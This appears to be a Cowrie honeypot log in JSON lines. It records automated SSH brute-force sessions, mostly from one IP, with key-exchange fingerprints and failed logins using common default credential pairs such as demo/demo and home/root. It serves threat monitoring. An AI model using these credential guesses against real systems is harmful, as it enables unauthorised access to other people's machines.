{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:33.644034Z","src_ip":"103.248.120.6","session":"7805d54fb8d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49302,"dst_ip":"10.17.0.5","dst_port":22,"session":"7931dfdde1c5","protocol":"ssh","message":"New connection: 91.92.42.227:49302 (10.17.0.5:22) [session: 7931dfdde1c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:34.427518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:34.478846Z","src_ip":"91.92.42.227","session":"7931dfdde1c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:34.689159Z","src_ip":"91.92.42.227","session":"7931dfdde1c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:35.481083Z","src_ip":"91.92.42.227","session":"7931dfdde1c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:36.728604Z","src_ip":"91.92.42.227","session":"7931dfdde1c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55354,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e4eb0f3c837","protocol":"ssh","message":"New connection: 91.92.42.227:55354 (10.17.0.5:22) [session: 6e4eb0f3c837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:41.523273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:41.569485Z","src_ip":"91.92.42.227","session":"6e4eb0f3c837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:41.649126Z","src_ip":"91.92.42.227","session":"6e4eb0f3c837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:42.166779Z","src_ip":"91.92.42.227","session":"6e4eb0f3c837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:43.485608Z","src_ip":"91.92.42.227","session":"6e4eb0f3c837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59190,"dst_ip":"10.17.0.5","dst_port":22,"session":"e525a70943f6","protocol":"ssh","message":"New connection: 91.92.42.227:59190 (10.17.0.5:22) [session: e525a70943f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:47.944941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:48.281453Z","src_ip":"91.92.42.227","session":"e525a70943f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:48.284724Z","src_ip":"91.92.42.227","session":"e525a70943f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:49.791147Z","src_ip":"91.92.42.227","session":"e525a70943f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:51.151765Z","src_ip":"91.92.42.227","session":"e525a70943f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35262,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8eee5672414","protocol":"ssh","message":"New connection: 91.92.42.227:35262 (10.17.0.5:22) [session: e8eee5672414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:54.776805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:55.012486Z","src_ip":"91.92.42.227","session":"e8eee5672414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:55.017956Z","src_ip":"91.92.42.227","session":"e8eee5672414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"root","message":"login attempt [home/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:57.195305Z","src_ip":"91.92.42.227","session":"e8eee5672414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:58.662324Z","src_ip":"91.92.42.227","session":"e8eee5672414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.08696722984314,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:59.056885Z","src_ip":"102.37.220.188","session":"2570fbe00858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35320,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c2c8fb58d17","protocol":"ssh","message":"New connection: 91.92.42.227:35320 (10.17.0.5:22) [session: 8c2c8fb58d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:02.494449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:02.501111Z","src_ip":"91.92.42.227","session":"8c2c8fb58d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:02.590215Z","src_ip":"91.92.42.227","session":"8c2c8fb58d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"root","message":"login attempt [jellyfin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:02.983986Z","src_ip":"91.92.42.227","session":"8c2c8fb58d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:04.137505Z","src_ip":"91.92.42.227","session":"8c2c8fb58d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40442,"dst_ip":"10.17.0.5","dst_port":22,"session":"273d3e0e9fa9","protocol":"ssh","message":"New connection: 91.92.42.227:40442 (10.17.0.5:22) [session: 273d3e0e9fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:09.302914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:09.369020Z","src_ip":"91.92.42.227","session":"273d3e0e9fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:09.454668Z","src_ip":"91.92.42.227","session":"273d3e0e9fa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:10.016928Z","src_ip":"91.92.42.227","session":"273d3e0e9fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:11.263283Z","src_ip":"91.92.42.227","session":"273d3e0e9fa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55158,"dst_ip":"10.17.0.5","dst_port":22,"session":"226c5bad799c","protocol":"ssh","message":"New connection: 91.92.42.227:55158 (10.17.0.5:22) [session: 226c5bad799c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:16.254762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:16.432602Z","src_ip":"91.92.42.227","session":"226c5bad799c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:16.438578Z","src_ip":"91.92.42.227","session":"226c5bad799c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:17.258276Z","src_ip":"91.92.42.227","session":"226c5bad799c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":57068,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e1b46149bf8","protocol":"ssh","message":"New connection: 103.252.123.105:57068 (159.203.135.109:22) [session: 3e1b46149bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:17.902361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:17.906456Z","src_ip":"103.252.123.105","session":"3e1b46149bf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:18.133899Z","src_ip":"103.252.123.105","session":"3e1b46149bf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:18.434900Z","src_ip":"91.92.42.227","session":"226c5bad799c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parks","password":"parks","message":"login attempt [parks/parks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:19.077083Z","src_ip":"103.252.123.105","session":"3e1b46149bf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:20.308064Z","src_ip":"103.252.123.105","session":"3e1b46149bf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55248,"dst_ip":"10.17.0.5","dst_port":22,"session":"081d91d8c408","protocol":"ssh","message":"New connection: 91.92.42.227:55248 (10.17.0.5:22) [session: 081d91d8c408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:22.940870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:23.363712Z","src_ip":"91.92.42.227","session":"081d91d8c408","protocol":"ssh"}
